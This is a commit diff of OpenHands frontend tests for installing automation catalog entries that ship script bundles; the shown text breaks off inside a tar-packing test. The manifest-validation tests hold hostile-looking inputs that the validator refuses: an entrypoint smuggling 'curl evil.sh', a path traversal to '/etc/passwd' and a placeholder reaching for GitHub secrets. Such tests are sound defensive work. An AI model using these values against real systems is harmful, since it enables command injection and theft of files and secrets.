Skip to content

🙌 OpenHands: AI-Driven Development

feat(automations): install a catalog entry that ships a script bundle (#16680)

Vasco Schiavo7c3b2423fb40
diff --git a/__tests__/components/manifest/manifest-form-field.test.tsx b/__tests__/components/manifest/manifest-form-field.test.tsx
index 0760a7c06a..72e7b217c7 100644
--- a/__tests__/components/manifest/manifest-form-field.test.tsx
+++ b/__tests__/components/manifest/manifest-form-field.test.tsx
@@ -11,7 +11,10 @@ import {
import { SetupFormField } from "#/components/features/manifest/manifest-form-field";
import { ActiveBackendProvider } from "#/contexts/active-backend-context";
import type { Backend } from "#/api/backend-registry/types";
-import type { SetupFormField as SetupFormFieldDefinition } from "#/manifests/types";
+import type {
+ SetupFormField as SetupFormFieldDefinition,
+ SetupFormValue,
+} from "#/manifests/types";
const LOCAL_BACKEND: Backend = {
id: "local-1",
@@ -39,13 +42,21 @@ const REPOSITORY_FIELD: SetupFormFieldDefinition = {
};
/** Holds the field value the way the setup dialog does, so typing accumulates. */
-function Harness({ onValueChange }: { onValueChange: (value: string) => void }) {
- const [value, setValue] = useState("");
+function Harness({
+ field = REPOSITORY_FIELD,
+ initialValue = "",
+ onValueChange,
+}: {
+ field?: SetupFormFieldDefinition;
+ initialValue?: SetupFormValue;
+ onValueChange: (value: SetupFormValue) => void;
+}) {
+ const [value, setValue] = useState<SetupFormValue>(initialValue);
return (
<SetupFormField
name="repository"
- field={REPOSITORY_FIELD}
+ field={field}
value={value}
options={[]}
repository={null}
@@ -60,7 +71,13 @@ function Harness({ onValueChange }: { onValueChange: (value: string) => void })
);
}
-function renderRepositoryField(backend: Backend) {
+function renderRepositoryField(
+ backend: Backend,
+ harness: {
+ field?: SetupFormFieldDefinition;
+ initialValue?: SetupFormValue;
+ } = {},
+) {
setRegisteredBackends([backend]);
setActiveSelection({ backendId: backend.id });
@@ -72,7 +89,7 @@ function renderRepositoryField(backend: Backend) {
}
>
<ActiveBackendProvider>
- <Harness onValueChange={onValueChange} />
+ <Harness {...harness} onValueChange={onValueChange} />
</ActiveBackendProvider>
</QueryClientProvider>,
);
@@ -80,6 +97,13 @@ function renderRepositoryField(backend: Backend) {
return { onValueChange, user: userEvent.setup() };
}
+/** The same field once the entry asks for several repositories. */
+const REPOSITORIES_FIELD: SetupFormFieldDefinition = {
+ ...REPOSITORY_FIELD,
+ label: "Repositories",
+ multiple: true,
+};
+
beforeEach(() => {
__resetActiveStoreForTests();
});
@@ -107,6 +131,118 @@ describe("SetupFormField repo-picker", () => {
);
});
+ it("collects several repositories when the entry asks for several", async () => {
+ // Arrange
+ const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+ field: REPOSITORIES_FIELD,
+ initialValue: [],
+ });
+
+ // Act
+ await user.type(
+ screen.getByTestId("setup-field-repository"),
+ "OpenHands/automation",
+ );
+ await user.click(screen.getByTestId("setup-list-repository-add"));
+ await user.type(
+ screen.getByTestId("setup-field-repository"),
+ "OpenHands/extensions",
+ );
+ await user.click(screen.getByTestId("setup-list-repository-add"));
+
+ // Assert — one automation polling both, which is what the entry supports.
+ expect(onValueChange).toHaveBeenLastCalledWith([
+ "OpenHands/automation",
+ "OpenHands/extensions",
+ ]);
+ });
+
+ it("adds a repository on Enter rather than submitting a half-built list", async () => {
+ // Arrange
+ const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+ field: REPOSITORIES_FIELD,
+ initialValue: [],
+ });
+
+ // Act
+ await user.type(
+ screen.getByTestId("setup-field-repository"),
+ "OpenHands/automation{Enter}",
+ );
+
+ // Assert
+ expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/automation"]);
+ });
+
+ it("does not add a repository already in the list", async () => {
+ // Arrange — adding it twice polls it twice per run for one result.
+ const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+ field: REPOSITORIES_FIELD,
+ initialValue: ["OpenHands/automation"],
+ });
+
+ // Act
+ await user.type(
+ screen.getByTestId("setup-field-repository"),
+ "OpenHands/automation{Enter}",
+ );
+
+ // Assert
+ expect(onValueChange).not.toHaveBeenCalled();
+ });
+
+ it("removes a repository from the list", async () => {
+ // Arrange
+ const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+ field: REPOSITORIES_FIELD,
+ initialValue: ["OpenHands/automation", "OpenHands/extensions"],
+ });
+
+ // Act
+ await user.click(
+ screen.getByTestId("setup-list-repository-remove-OpenHands/automation"),
+ );
+
+ // Assert
+ expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/extensions"]);
+ });
+
+ it("names the input the entry's own label for a screen reader", () => {
+ // Arrange — the label is rendered above the list rather than on the input,
+ // which is how an input ends up announced as nothing at all.
+ renderRepositoryField(LOCAL_BACKEND, {
+ field: REPOSITORIES_FIELD,
+ initialValue: [],
+ });
+
+ // Assert
+ expect(screen.getByRole("textbox", { name: "Repositories" })).toBe(
+ screen.getByTestId("setup-field-repository"),
+ );
+ });
+
+ it("keeps a repository typed but not added, rather than dropping it", async () => {
+ // Arrange — the input still shows the text, so leaving the field is the
+ // user saying they answered it.
+ const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, {
+ field: REPOSITORIES_FIELD,
+ initialValue: ["OpenHands/automation"],
+ });
+
+ // Act
+ await user.type(
+ screen.getByTestId("setup-field-repository"),
+ "OpenHands/extensions",
+ );
+ await user.tab();
+
+ // Assert
+ expect(onValueChange).toHaveBeenLastCalledWith([
+ "OpenHands/automation",
+ "OpenHands/extensions",
+ ]);
+ });
+
it("browses the account's repositories on a cloud backend", () => {
// Arrange / Act
renderRepositoryField(CLOUD_BACKEND);
diff --git a/__tests__/components/manifest/manifest-setup-dialog.test.tsx b/__tests__/components/manifest/manifest-setup-dialog.test.tsx
index 5c8617a1aa..32ca0eaf20 100644
--- a/__tests__/components/manifest/manifest-setup-dialog.test.tsx
+++ b/__tests__/components/manifest/manifest-setup-dialog.test.tsx
@@ -111,6 +111,35 @@ beforeEach(() => {
});
});
+/** The same entry once it asks for several repositories. */
+const MULTI_REPO_ENTRY: SetupEntry = (() => {
+ const { form } = createSetup();
+ return createSetupEntry({
+ setup: createSetup({
+ form: {
+ ...form,
+ args: {
+ ...form.args,
+ repository: { ...form.args.repository, multiple: true },
+ },
+ },
+ }),
+ });
+})();
+
+/** An entry that ships a script bundle rather than a prompt. */
+const BUNDLE_ENTRY: SetupEntry = createSetupEntry({
+ setup: createSetup({
+ prompt: undefined,
+ bundle: {
+ version: "1.0.0",
+ entrypoint: "python3 main.py",
+ files: { "main.py": "skills/widget-monitor/scripts/main.py" },
+ config: { repos: ["{{form.repository}}"] },
+ },
+ }),
+});
+
/** A deployment that answered discovery and came up short. */
const UNSUPPORTED = {
capabilities: null,
@@ -211,7 +240,11 @@ describe("SetupDialog", () => {
replace: true,
}),
);
- expect(mocks.runAction).toHaveBeenCalledWith(entry, expect.anything(), null);
+ expect(mocks.runAction).toHaveBeenCalledWith(
+ entry,
+ expect.anything(),
+ null,
+ );
});
it("keeps the unsupported screen close-only when there is nothing to fall back to", () => {
@@ -224,6 +257,41 @@ describe("SetupDialog", () => {
expect(screen.queryByTestId("setup-fallback-conversation")).toBeNull();
});
+ it("carries a repository typed but not added through to the review step", async () => {
+ // Arrange — the list is built by adding entries, and the input still shows
+ // what was typed when the user reaches for Continue.
+ const { user } = renderDialog(MULTI_REPO_ENTRY);
+ await user.type(screen.getByTestId("setup-field-widgetName"), "Widgets");
+ await user.type(
+ screen.getByTestId("setup-field-repository"),
+ "OpenHands/automation",
+ );
+
+ // Act — Continue, without pressing Add or Enter first.
+ await user.click(screen.getByTestId("setup-continue-button"));
+
+ // Assert — the answer the user could still see is the one being confirmed.
+ await waitFor(() =>
+ expect(screen.getByTestId("setup-review")).toBeInTheDocument(),
+ );
+ expect(screen.getByTestId("setup-review")).toHaveTextContent(
+ "OpenHands/automation",
+ );
+ });
+
+ it("refuses an entry the published interface declares no way to create", async () => {
+ // Arrange — a bundle entry against an interface manifest published before
+ // bundles: neither endpoint it needs exists, and no answer supplies them.
+ renderDialog(BUNDLE_ENTRY);
+
+ // Assert — said before the form, rather than as a Continue button that
+ // silently does nothing once the form is filled in.
+ expect(screen.getByTestId("setup-unmet-requirements")).toHaveTextContent(
+ "createBundle, uploads",
+ );
+ expect(screen.queryByTestId("setup-field-widgetName")).toBeNull();
+ });
+
it("returns a rejected create to the field the service blamed", async () => {
// Arrange — a validation failure addressed by payload path, which only the
// derived error map can turn back into a field.
diff --git a/__tests__/manifests/automation-setup.test.ts b/__tests__/manifests/automation-setup.test.ts
index 8dbb92197f..f2e79fc29c 100644
--- a/__tests__/manifests/automation-setup.test.ts
+++ b/__tests__/manifests/automation-setup.test.ts
@@ -16,6 +16,18 @@ import {
import { validateFormValues } from "#/manifests/manifest-local-validation";
import { SETUP_REGISTRY } from "#/manifests/manifest-sources";
import type { SetupEntry, SetupFormValues } from "#/manifests/types";
+import { createSetup, createSetupEntry } from "./manifest-test-data";
+
+// The one word of a derived name the host writes rather than reads off the
+// entry is translated, and the derivation runs where no translator can be
+// passed in, so it reads the shared instance. Stubbed to pin the key and the
+// count rather than a rendered sentence.
+vi.mock("#/i18n", () => ({
+ default: {
+ t: (key: string, options: Record<string, unknown>) =>
+ `${key}(${options.total})`,
+ },
+}));
// The command a skill publishes in its own frontmatter, which the host looks
// up rather than storing. Pinned so the assertion does not move when the
@@ -48,6 +60,8 @@ interface FixtureScenario {
id: string;
formValues?: SetupFormValues;
localValidation?: { valid: boolean };
+ /** Bundle entries only: where the packed archive landed. */
+ upload?: { response: { body: { tarball_path: string } } };
preflight?: FixtureExchange;
create?: FixtureExchange;
conversation?: { request: { action: string; message: string } };
@@ -93,6 +107,8 @@ const CREATE_CASES = BUNDLES.flatMap((bundle) =>
automationId: bundle.automationId,
formValues: scenario.formValues ?? {},
body: scenario.create.request.body,
+ // A prompt entry records none; buildCreatePayload ignores it.
+ tarballPath: scenario.upload?.response.body.tarball_path,
},
]
: [],
@@ -177,8 +193,10 @@ describe("the contract fixtures", () => {
);
// Assert
+ // Every published fixture is a prompt entry created through the preset
+ // endpoint, so the deduped set collapses to that single path.
expect({
- create: [...createPaths],
+ create: [...createPaths].sort(),
preflight: [...preflightPaths],
}).toEqual({
create: [automationCreateEndpoint()],
@@ -190,18 +208,59 @@ describe("the contract fixtures", () => {
describe("buildCreatePayload", () => {
it.each(CREATE_CASES)(
"derives the $name create body its fixture pins",
- ({ automationId, formValues, body }) => {
+ ({ automationId, formValues, body, tarballPath }) => {
// Arrange
const entry = requireEntry(automationId);
// Act
- const payload = buildCreatePayload(entry, formValues);
+ const payload = tarballPath
+ ? buildCreatePayload(entry, formValues, tarballPath)
+ : buildCreatePayload(entry, formValues);
// Assert
expect(payload).toEqual(body);
},
);
+ it("names an automation after the one repository it watches", () => {
+ // Arrange
+ const entry = requireEntry("github-pr-reviewer");
+
+ // Act
+ const payload = buildCreatePayload(entry, {
+ repository: "OpenHands/automation",
+ });
+
+ // Assert
+ expect(payload?.name).toBe(`${entry.name} - OpenHands/automation`);
+ });
+
+ it("names an automation watching several through the host's translations", () => {
+ // Arrange — several repositories are a count rather than a list of names
+ // that would not fit, and a count is a word this host has to translate.
+ const { form } = createSetup();
+ const entry = createSetupEntry({
+ setup: createSetup({
+ form: {
+ ...form,
+ args: {
+ ...form.args,
+ repository: { ...form.args.repository, multiple: true },
+ },
+ },
+ }),
+ });
+
+ // Act
+ const payload = buildCreatePayload(entry, {
+ repository: ["OpenHands/automation", "OpenHands/extensions"],
+ widgetName: "Widgets",
+ });
+
+ // Assert
+ expect(payload?.name).toBe(`${entry.name} - SETUP$REPOSITORY_COUNT(2)`);
+ });
+
it("sends no request body for an entry that hands setup to a conversation", () => {
// Arrange
const entry = requireEntry("incident-retrospective-drafter");
@@ -261,7 +320,10 @@ describe("service rejections mapped back to fields", () => {
);
// Assert
- expect(mapped).toEqual({ fieldErrors: expectedFieldErrors, formErrors: [] });
+ expect(mapped).toEqual({
+ fieldErrors: expectedFieldErrors,
+ formErrors: [],
+ });
},
);
});
diff --git a/__tests__/manifests/manifest-actions.test.ts b/__tests__/manifests/manifest-actions.test.ts
new file mode 100644
index 0000000000..3dba3f2049
--- /dev/null
+++ b/__tests__/manifests/manifest-actions.test.ts
@@ -0,0 +1,114 @@
+import { renderHook } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { useSetupAction } from "#/manifests/manifest-actions";
+import type { SetupEntry } from "#/manifests/types";
+import { createSetup, createSetupEntry } from "./manifest-test-data";
+
+/**
+ * The action bridge for a bundle entry, which is the only path that sends
+ * anything before the create call. Packing and the request layer have their own
+ * tests; what is exercised here is the order those two are used in.
+ */
+const mocks = vi.hoisted(() => ({
+ packBundle: vi.fn(),
+}));
+
+vi.mock("#/manifests/manifest-bundle", () => ({
+ packBundle: mocks.packBundle,
+}));
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+ default: {
+ uploadAutomationTarball: vi.fn(),
+ createAutomationDraft: vi.fn(),
+ },
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+ useCreateConversation: () => ({ mutateAsync: vi.fn() }),
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+ useConversationStore: (select: (state: unknown) => unknown) =>
+ select({ setMessageToSend: vi.fn() }),
+}));
+
+const ENTRY: SetupEntry = createSetupEntry({
+ setup: createSetup({
+ prompt: undefined,
+ bundle: {
+ version: "1.0.0",
+ entrypoint: "python3 main.py",
+ files: { "main.py": "skills/widget-monitor/scripts/main.py" },
+ config: { repos: ["{{form.repository}}"] },
+ },
+ }),
+});
+
+const VALUES = { repository: "OpenHands/automation", widgetName: "Widgets" };
+
+/** The payload the dialog derived for the form, carrying the stand-in path. */
+const PAYLOAD = { name: "Widget monitor" };
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ mocks.packBundle.mockResolvedValue(new Uint8Array([1, 2, 3]));
+ vi.mocked(AutomationService.uploadAutomationTarball).mockResolvedValue(
+ "oh-internal://uploads/abc",
+ );
+});
+
+describe("useSetupAction for a bundle entry", () => {
+ it("creates against the path the upload returned", async () => {
+ // Arrange
+ vi.mocked(AutomationService.createAutomationDraft).mockResolvedValue({
+ id: "automation-1",
+ });
+ const { result } = renderHook(() => useSetupAction());
+
+ // Act
+ await result.current(ENTRY, VALUES, PAYLOAD);
+
+ // Assert — the stand-in path the form was checked with is replaced by the
+ // real one, and the entry decides the endpoint.
+ const [body, entry] = vi.mocked(AutomationService.createAutomationDraft)
+ .mock.calls[0];
+ expect(body.tarball_path).toBe("oh-internal://uploads/abc");
+ expect(entry).toBe(ENTRY);
+ });
+
+ it("reuses the archive it already uploaded when a create is retried", async () => {
+ // Arrange — the service rejects the draft, the user corrects nothing and
+ // confirms again. The upload cannot be taken back, so a second one would
+ // leave the first behind for good.
+ vi.mocked(AutomationService.createAutomationDraft)
+ .mockRejectedValueOnce(new Error("Schedule is too frequent"))
+ .mockResolvedValueOnce({ id: "automation-1" });
+ const { result } = renderHook(() => useSetupAction());
+
+ // Act
+ await expect(result.current(ENTRY, VALUES, PAYLOAD)).rejects.toThrow();
+ await result.current(ENTRY, VALUES, PAYLOAD);
+
+ // Assert
+ expect(AutomationService.uploadAutomationTarball).toHaveBeenCalledTimes(1);
+ expect(AutomationService.createAutomationDraft).toHaveBeenCalledTimes(2);
+ });
+
+ it("packs and uploads again once an answer changes", async () => {
+ // Arrange
+ vi.mocked(AutomationService.createAutomationDraft).mockResolvedValue({
+ id: "automation-1",
+ });
+ const { result } = renderHook(() => useSetupAction());
+
+ // Act
+ await result.current(ENTRY, VALUES, PAYLOAD);
+ await result.current(ENTRY, { ...VALUES, widgetName: "Gadgets" }, PAYLOAD);
+
+ // Assert — the archive carries the answers, so a different answer is a
+ // different archive.
+ expect(AutomationService.uploadAutomationTarball).toHaveBeenCalledTimes(2);
+ });
+});
diff --git a/__tests__/manifests/manifest-bundle.test.ts b/__tests__/manifests/manifest-bundle.test.ts
new file mode 100644
index 0000000000..970d8e0118
--- /dev/null
+++ b/__tests__/manifests/manifest-bundle.test.ts
@@ -0,0 +1,177 @@
+import { gunzipSync } from "node:zlib";
+import { describe, expect, it, vi } from "vitest";
+
+const BUNDLE_FILES: Record<string, Record<string, string>> = {
+ "widget-monitor": { "main.py": "print('watching')\n" },
+};
+
+vi.mock("@openhands/extensions/automations", () => ({
+ AUTOMATION_CATALOG: [],
+ getAutomationBundleFiles: (id: string) => BUNDLE_FILES[id],
+}));
+
+const { packBundle, getBundleFiles } =
+ await import("#/manifests/manifest-bundle");
+const { createSetupEntry, createSetup } = await import("./manifest-test-data");
+
+const decoder = new TextDecoder();
+
+interface ArchiveMember {
+ content: string;
+ mode: number;
+}
+
+/** Every member of a packed bundle, keyed by name. */
+function readMembers(archive: Uint8Array): Record<string, ArchiveMember> {
+ const tar = new Uint8Array(gunzipSync(archive));
+ const members: Record<string, ArchiveMember> = {};
+ const field = (block: Uint8Array, offset: number, size: number) =>
+ decoder.decode(block.subarray(offset, offset + size)).replace(/\0.*$/, "");
+
+ let offset = 0;
+ while (offset + 512 <= tar.length) {
+ const header = tar.subarray(offset, offset + 512);
+ if (header.every((byte) => byte === 0)) break;
+ const size = parseInt(field(header, 124, 12).trim() || "0", 8);
+ members[field(header, 0, 100)] = {
+ content: decoder.decode(tar.subarray(offset + 512, offset + 512 + size)),
+ mode: parseInt(field(header, 100, 8).trim() || "0", 8),
+ };
+ offset += 512 + Math.ceil(size / 512) * 512;
+ }
+ return members;
+}
+
+/** The members' contents alone, for the cases that do not read modes. */
+function readArchive(archive: Uint8Array): Record<string, string> {
+ return Object.fromEntries(
+ Object.entries(readMembers(archive)).map(([name, member]) => [
+ name,
+ member.content,
+ ]),
+ );
+}
+
+function bundleEntry(overrides = {}) {
+ return createSetupEntry({
+ setup: createSetup({
+ prompt: undefined,
+ bundle: {
+ version: "1.0.0",
+ entrypoint: "python3 main.py",
+ files: { "main.py": "skills/widget-monitor/scripts/main.py" },
+ config: {
+ repos: ["{{form.repository}}"],
+ max_per_run: 3,
+ dry_run: false,
+ },
+ ...overrides,
+ },
+ }),
+ });
+}
+
+const VALUES = { repository: "OpenHands/automation", schedule: "*/15 * * * *" };
+
+describe("packBundle", () => {
+ it("packs the entry's files with the config the form rendered", async () => {
+ // Act
+ const archive = await packBundle(bundleEntry(), VALUES);
+
+ // Assert
+ const contents = readArchive(archive);
+ expect(contents["main.py"]).toBe("print('watching')\n");
+ expect(JSON.parse(contents["config.json"])).toEqual({
+ repos: ["OpenHands/automation"],
+ max_per_run: 3,
+ dry_run: false,
+ });
+ });
+
+ it("packs the same config the create request records as provenance", async () => {
+ // Arrange: the tarball and the template config disagreeing would leave the
+ // stored provenance describing a run that never happened.
+ const entry = bundleEntry();
+ const { buildCreatePayload } = await import("#/manifests/automation-setup");
+
+ // Act
+ const contents = readArchive(await packBundle(entry, VALUES));
+ const payload = buildCreatePayload(entry, VALUES);
+
+ // Assert
+ expect(JSON.parse(contents["config.json"])).toEqual(
+ (payload?.template as { config: unknown }).config,
+ );
+ });
+
+ it("keeps a multi-value answer a list where the config states one value", async () => {
+ // Arrange
+ const entry = bundleEntry({ config: { repos: "{{form.repository}}" } });
+
+ // Act
+ const contents = readArchive(
+ await packBundle(entry, {
+ ...VALUES,
+ repository: ["OpenHands/automation", "OpenHands/extensions"],
+ }),
+ );
+
+ // Assert
+ expect(JSON.parse(contents["config.json"])).toEqual({
+ repos: ["OpenHands/automation", "OpenHands/extensions"],
+ });
+ });
+
+ it("renders a placeholder naming something that is not a value as text", async () => {
+ // Arrange: a manifest naming its own setup block would otherwise put that
+ // whole object into the config it ships and the provenance it records.
+ const entry = bundleEntry({ config: { leak: "{{automation.setup}}" } });
+
+ // Act
+ const contents = readArchive(await packBundle(entry, VALUES));
+
+ // Assert
+ expect(JSON.parse(contents["config.json"])).toEqual({ leak: "" });
+ });
+
+ it("packs a file the entrypoint runs itself as executable", async () => {
+ // Arrange
+ const entry = bundleEntry({ entrypoint: "./main.py" });
+
+ // Act
+ const members = readMembers(await packBundle(entry, VALUES));
+
+ // Assert
+ expect(members["main.py"].mode).toBe(0o755);
+ });
+
+ it("packs a file the entrypoint only passes to an interpreter as data", async () => {
+ // Act
+ const members = readMembers(await packBundle(bundleEntry(), VALUES));
+
+ // Assert: `python3 main.py` runs python3, not main.py.
+ expect(members["main.py"].mode).toBe(0o644);
+ });
+
+ it("reports an entry the published package ships no files for", () => {
+ // Act + Assert
+ expect(() => getBundleFiles("not-published")).toThrow(
+ /ships no bundle files/,
+ );
+ });
+
+ it("reports a declared file the published package is missing", async () => {
+ // Arrange
+ const entry = bundleEntry({
+ files: {
+ "main.py": "skills/widget-monitor/scripts/main.py",
+ "setup.sh": "automations/catalog/widget-monitor/setup.sh",
+ },
+ });
+
+ // Act + Assert
+ await expect(packBundle(entry, VALUES)).rejects.toThrow(
+ /missing bundle files.*setup\.sh/,
+ );
+ });
+});
diff --git a/__tests__/manifests/manifest-error-map.test.ts b/__tests__/manifests/manifest-error-map.test.ts
index 64f9295cdd..8e497b9349 100644
--- a/__tests__/manifests/manifest-error-map.test.ts
+++ b/__tests__/manifests/manifest-error-map.test.ts
@@ -105,6 +105,23 @@ describe("mapServiceErrors", () => {
});
});
+ it("highlights the field behind a list entry the map has no index for", () => {
+ // Arrange: the map is derived from a payload holding one repository, so a
+ // rejection of the third one addresses a path that was never in it.
+
+ // Act
+ const { fieldErrors, formErrors } = mapServiceErrors(
+ [{ path: "repos[2].ref", message: "Unknown branch." }],
+ ERROR_MAP,
+ );
+
+ // Assert
+ expect({ fieldErrors, formErrors }).toEqual({
+ fieldErrors: { ref: "Unknown branch." },
+ formErrors: [],
+ });
+ });
+
it("surfaces an unmappable rejection against the form rather than losing it", () => {
// Act
const { fieldErrors, formErrors } = mapServiceErrors(
diff --git a/__tests__/manifests/manifest-validation.test.ts b/__tests__/manifests/manifest-validation.test.ts
index e5ea1d9026..dc03d8948c 100644
--- a/__tests__/manifests/manifest-validation.test.ts
+++ b/__tests__/manifests/manifest-validation.test.ts
@@ -1,11 +1,25 @@
import { describe, expect, it } from "vitest";
import { validateSetupEntry } from "#/manifests/manifest-validation";
+import type { SetupForm } from "#/manifests/types";
import {
createSetup,
createSetupEntry,
createSetupEntryWith,
} from "./manifest-test-data";
+/**
+ * The published form with one field's declaration replaced wholesale, so a
+ * case can state a key the host's own types do not admit. Admission is a trust
+ * boundary over data from another repository, and that data is not typed.
+ */
+function formWithField(
+ name: string,
+ field: Record<string, unknown>,
+): SetupForm {
+ const { form } = createSetup();
+ return { ...form, args: { ...form.args, [name]: field } } as SetupForm;
+}
+
describe("validateSetupEntry", () => {
it("admits a well-formed manifest", () => {
// Arrange
@@ -165,6 +179,207 @@ describe("validateSetupEntry", () => {
expect(result.valid).toBe(false);
});
+ const bundle = {
+ version: "1.0.0",
+ entrypoint: "python3 main.py",
+ files: { "main.py": "skills/widget-monitor/scripts/main.py" },
+ config: { repos: ["{{form.repository}}"] },
+ };
+
+ it("admits a direct entry that ships a bundle instead of a prompt", () => {
+ // Arrange
+ const entry = createSetupEntry({
+ setup: createSetup({ prompt: undefined, bundle }),
+ });
+
+ // Act
+ const result = validateSetupEntry(entry);
+
+ // Assert
+ expect(result).toEqual({ valid: true, errors: [] });
+ });
+
+ // A bundle is the one part of a manifest naming files and a command this
+ // host acts on, so each of these would be acted on if it were admitted.
+ it.each([
+ [
+ "a direct entry declaring both a prompt and a bundle",
+ { setup: createSetup({ bundle }) },
+ ],
+ [
+ "a direct entry declaring neither",
+ { setup: createSetup({ prompt: undefined }) },
+ ],
+ [
+ "an assisted entry carrying a bundle",
+ {
+ setup: createSetup({
+ mode: "assisted" as const,
+ prompt: undefined,
+ form: { args: createSetup().form.args },
+ message: "Set this up in a conversation.",
+ bundle,
+ }),
+ },
+ ],
+ [
+ "an entrypoint carrying a shell metacharacter",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, entrypoint: "python3 main.py && curl evil.sh" },
+ }),
+ },
+ ],
+ [
+ "a packed path that escapes the archive",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: {
+ ...bundle,
+ files: { "../main.py": "skills/widget-monitor/scripts/main.py" },
+ },
+ }),
+ },
+ ],
+ [
+ "a source outside skills/ and automations/",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, files: { "main.py": "../../etc/passwd" } },
+ }),
+ },
+ ],
+ [
+ "a config placeholder in an unknown namespace",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, config: { token: "{{secrets.github}}" } },
+ }),
+ },
+ ],
+ [
+ "a bundle version that is not a semantic version",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, version: "latest" },
+ }),
+ },
+ ],
+ [
+ "an entrypoint that climbs out of the archive",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, entrypoint: "python3 ../../etc/x.py" },
+ }),
+ },
+ ],
+ [
+ "an entrypoint naming an absolute path",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, entrypoint: "/bin/sh setup.sh" },
+ }),
+ },
+ ],
+ [
+ "an entrypoint of nothing but spaces",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, entrypoint: " " },
+ }),
+ },
+ ],
+ [
+ "a packed path claiming the rendered config's own name",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: {
+ ...bundle,
+ files: {
+ ...bundle.files,
+ "config.json": "skills/widget-monitor/scripts/config.json",
+ },
+ },
+ }),
+ },
+ ],
+ [
+ "a setup script the bundle does not pack",
+ {
+ setup: createSetup({
+ prompt: undefined,
+ bundle: { ...bundle, setupScript: "not-packed.sh" },
+ }),
+ },
+ ],
+ [
+ "a multi-value declaration on a field that is not a repository picker",
+ {
+ setup: createSetup({
+ form: formWithField("widgetName", {
+ type: "text",
+ label: "Widget name",
+ help: "What to call it.",
+ required: true,
+ multiple: true,
+ }),
+ }),
+ },
+ ],
+ [
+ "a multi-value declaration that is not true",
+ {
+ setup: createSetup({
+ form: formWithField("repository", {
+ type: "repo-picker",
+ label: "Repository",
+ help: "Which repositories to watch.",
+ provider: "github",
+ required: true,
+ multiple: "banana",
+ }),
+ }),
+ },
+ ],
+ ])("refuses %s", (_case, overrides) => {
+ // Act
+ const result = validateSetupEntry(createSetupEntry(overrides));
+
+ // Assert
+ expect(result.valid).toBe(false);
+ });
+
+ it("admits a repository field that collects several repositories", () => {
+ // Arrange
+ const entry = createSetupEntry({
+ setup: createSetup({
+ form: formWithField("repository", {
+ type: "repo-picker",
+ label: "Repositories",
+ help: "Which repositories to watch.",
+ provider: "github",
+ required: true,
+ multiple: true,
+ }),
+ }),
+ });
+
+ // Act
+ const result = validateSetupEntry(entry);
+
+ // Assert
+ expect(result).toEqual({ valid: true, errors: [] });
+ });
+
it("reports every problem at once so an author sees the whole picture", () => {
// Arrange
const candidate = createSetupEntryWith({ name: "", description: "" });
diff --git a/__tests__/utils/tar-gzip.test.ts b/__tests__/utils/tar-gzip.test.ts
new file mode 100644
index 0000000000..0756a5b1f6
--- /dev/null
+++ b/__tests__/utils/tar-gzip.test.ts
@@ -0,0 +1,143 @@
+import { gunzipSync } from "node:zlib";
+import { describe, expect, it } from "vitest";
+import { packTar, packTarGzip } from "#/utils/tar-gzip";
+
+const BLOCK_SIZE = 512;
+const decoder = new TextDecoder();
+
+interface ParsedMember {
+ name: string;
+ mode: number;
+ content: string;
+ checksumMatches: boolean;
+}
+
+/**
+ * Read an archive back the way tar does, so the test agrees with tar rather
+ * than with the writer under test: fields at their ustar offsets, the checksum
+ * recomputed with its own field read as spaces.
+ */
+function readTar(archive: Uint8Array): ParsedMember[] {
+ const members: ParsedMember[] = [];
+ const field = (block: Uint8Array, offset: number, size: number) =>
+ decoder.decode(block.subarray(offset, offset + size)).replace(/\0.*$/, "");
+
+ let offset = 0;
+ while (offset + BLOCK_SIZE <= archive.length) {
+ const header = archive.subarray(offset, offset + BLOCK_SIZE);
+ if (header.every((byte) => byte === 0)) break;
+
+ const size = parseInt(field(header, 124, 12).trim() || "0", 8);
+ const recomputed = header.reduce(
+ (total, byte, index) =>
+ total + (index >= 148 && index < 156 ? 0x20 : byte),
+ 0,
+ );
+
+ members.push({
+ name: field(header, 0, 100),
+ mode: parseInt(field(header, 100, 8).trim() || "0", 8),
+ content: decoder.decode(
+ archive.subarray(offset + BLOCK_SIZE, offset + BLOCK_SIZE + size),
+ ),
+ checksumMatches:
+ parseInt(field(header, 148, 8).trim() || "-1", 8) === recomputed,
+ });
+ offset += BLOCK_SIZE + Math.ceil(size / BLOCK_SIZE) * BLOCK_SIZE;
+ }
+ return members;
+}
+
+describe("packTar", () => {
+ it("writes each file with its content, mode and a valid checksum", () => {
+ // Act
+ const archive = packTar([
+ { name: "main.py", content: "print('hi')\n" },
+ { name: "setup.sh", content: "#!/bin/bash\nset -e\n", mode: 0o755 },
+ ]);
+
+ // Assert
+ expect(readTar(archive)).toEqual([
+ {
+ name: "main.py",
+ mode: 0o644,
+ content: "print('hi')\n",
+ checksumMatches: true,
+ },
+ {
+ name: "setup.sh",
+ mode: 0o755,
+ content: "#!/bin/bash\nset -e\n",
+ checksumMatches: true,
+ },
+ ]);
+ });
+
+ it("pads content to the block size and ends with two zero blocks", () => {
+ // Act
+ const archive = packTar([{ name: "a.txt", content: "x" }]);
+
+ // Assert: one header, one padded content block, two end-of-archive blocks.
+ expect(archive.length).toBe(BLOCK_SIZE * 4);
+ expect(archive.subarray(BLOCK_SIZE * 2).every((byte) => byte === 0)).toBe(
+ true,
